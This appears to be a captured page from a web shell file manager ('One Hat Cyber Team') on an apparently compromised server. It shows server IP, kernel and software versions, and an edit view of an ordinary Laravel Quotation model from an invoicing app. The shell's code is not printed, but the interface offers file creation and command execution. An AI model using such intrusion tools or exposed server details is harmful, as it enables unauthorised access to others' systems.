⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.1
Server IP:
185.238.29.86
Server:
Linux server2 6.8.12-6-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-6 (2024-12-19T19:05Z) x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.31
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
invoice
/
app
/
Models
/
Edit File: Quotation.php
<?php namespace App\Models; use Cviebrock\EloquentSluggable\Sluggable; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\Model; class Quotation extends Model { use Sluggable, HasFactory; /** * The attributes that are mass assignable. * * @var array */ protected $fillable = [ 'quotation_no', 'slug', 'client_id', 'reference', 'transport', 'discount_type', 'discount', 'total_tax', 'sub_total', 'po_reference', 'payment_terms', 'delivery_place', 'tax_id', 'quotation_date', 'created_by', 'note', 'status', ]; /** * Return the sluggable configuration array for this model. * * @return array */ public function sluggable(): array { return [ 'slug' => [ 'source' => 'quotation_no', ], ]; } // return discount percentage public function discountPercentage() { $percentage = null; if ($this->discount_type == 1) { $percentage = ($this->discount * 100) / ($this->sub_total); } return (int) $percentage; } // quotation total public function quotationTotal() { return $this->sub_total + $this->total_tax + $this->transport - $this->discount; } /** * Get the tax for this quotation. */ public function quotationTax() { return $this->belongsTo(VatRate::class, 'tax_id'); } /** * Get the quotation products. */ public function quotationProducts() { return $this->hasMany(QuotationProduct::class, 'quotation_id'); } /** * Get the client for this quotation. */ public function client() { return $this->belongsTo(Client::class, 'client_id'); } /** * Get the user who had created this quotation. */ public function user() { return $this->belongsTo(User::class, 'created_by'); } }
Simpan